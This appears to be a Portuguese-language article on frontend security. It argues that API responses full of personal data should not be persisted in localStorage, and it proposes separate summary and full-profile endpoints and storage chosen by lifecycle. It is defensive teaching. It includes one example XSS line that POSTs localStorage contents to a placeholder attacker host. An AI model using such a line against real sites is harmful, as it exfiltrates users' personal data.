Existe um problema silencioso em muitas aplicações financeiras, de saúde e de qualquer domínio que lide com dados pessoais. Ele não aparece nos testes. Não quebra nada em produção. Fica escondido até o dia em que alguém decide procurar.

O problema é simples: dados que chegam da API e vão direto para o localStorage.

Como isso acontece

O fluxo é tão natural que quase ninguém questiona:

  1. Usuário faz login
  2. Frontend chama GET /me
  3. API retorna o perfil completo do usuário
  4. Código joga tudo no estado global
  5. Estado global é persistido no localStorage

Parece razoável. O usuário precisa estar logado, precisa do nome e do status de conta. Faz sentido ter isso disponível sem chamar a API toda vez.

O problema está no que mais veio junto nessa resposta.

Quando a API retorna o perfil "completo", ela costuma retornar mesmo tudo: nome completo, CPF, data de nascimento, nome da mãe, renda anual, endereço, dados bancários. Um blob JSON salvo no localStorage na linha seguinte.

E lá fica. Indefinidamente.

Por que o localStorage é um problema aqui

O localStorage é acessível por qualquer JavaScript rodando na origem da aplicação. Scripts de terceiros legítimos, bibliotecas com vulnerabilidades e código injetado via XSS têm o mesmo acesso.

Um ataque XSS bem-sucedido não precisa de nada sofisticado para coletar esses dados:

fetch('https://atacante.com/collect', {
  method: 'POST',
  body: localStorage.getItem('meu_app_state')
})

Uma linha. Todos os dados pessoais do usuário vão junto.

O pior não é que o XSS existe. Toda aplicação tem superfície de ataque. O pior é que o dado nem precisava estar ali.

O princípio que resolve isso

Princípio do menor privilégio no frontend significa uma coisa simples: cada parte do sistema recebe apenas o que precisa para funcionar.

Aplicado à API e ao armazenamento, isso vira duas perguntas práticas.

Essa chamada de API realmente precisa desses dados?

Um polling de saldo que roda a cada 30 segundos precisa do CPF do usuário? Não. Precisa do nome da mãe? Não. Precisa do endereço? Não.

Precisa de saldo, status da conta e talvez o papel do usuário. Só isso.

Se a API retorna o perfil completo nessa chamada, ela está devolvendo mais do que o necessário. Tudo que é desnecessário é superfície de ataque.

Esse dado precisa sobreviver além da sessão atual?

Dados de autenticação básica fazem sentido no localStorage. O usuário espera continuar logado ao voltar amanhã.

Dados de um formulário longo que o usuário acabou de preencher? Precisam sobreviver a um refresh na mesma aba, mas não precisam existir para sempre. O sessionStorage resolve: persiste enquanto a aba está aberta, some quando fecha.

Dados pessoais exibidos na tela de perfil? Não precisam ir para lugar nenhum além da memória. Carrega quando o usuário abre a tela, some quando fecha.

O design que emerge disso

Quando você para de jogar tudo em um endpoint e um storage, começa a enxergar uma arquitetura mais honesta.

Dois endpoints com responsabilidades separadas:

GET /me/summary para chamadas frequentes. Retorna apenas campos não-sensíveis: id, email, status, saldo, role. Nada de PII. É o endpoint que o polling chama, que o login usa para redirecionar, que o header usa para mostrar o nome do usuário.

GET /me para a tela de perfil, carregado sob demanda. Retorna o perfil completo porque é exatamente isso que o usuário pediu para ver. Esses dados ficam em memória, renderizam a tela e somem.

Storage por ciclo de vida:

localStorage recebe token de autenticação, preferências de UI e campos não-sensíveis necessários entre sessões. Nunca PII.

sessionStorage recebe dados temporários de fluxo, como os passos de um formulário longo ainda em andamento. PII só se absolutamente necessário, com consciência do risco.

Memória recebe dados sensíveis exibidos na tela. Não persistidos em lugar nenhum.

None

O que muda na prática

A interface do usuário não muda. O comportamento não muda. O que muda é o que fica guardado e por quanto tempo.

Um atacante que conseguir executar XSS na aplicação vai encontrar no localStorage apenas dados não-sensíveis. Os dados pessoais do usuário nunca saíram do servidor para ficar ali guardados.

Isso não elimina o XSS como vetor de ataque, mas reduz o impacto. A diferença entre "atacante conseguiu o token de sessão" e "atacante conseguiu o token de sessão, CPF, renda anual, dados bancários e endereço de 40 mil usuários" é enorme.

Uma checklist rápida

Para qualquer dado que seu frontend armazena:

  • Esse dado é necessário para essa chamada específica, ou estou recebendo tudo por conveniência?
  • Esse dado precisa sobreviver ao fechamento da aba? E ao fechamento do browser?
  • Se um script mal-intencionado chamar localStorage.getItem() agora, o que ele vai encontrar?
  • Existe um endpoint mais restrito que atenderia a maioria dos casos de uso sem expor dados sensíveis?

Segurança no frontend não é só Content Security Policy e sanitização de input. É também saber que dados você está carregando, onde eles ficam e por quanto tempo.

A próxima vez que você chamar uma API e jogar a resposta direto no estado persistido, vale parar um segundo e perguntar: tudo isso precisa estar aqui?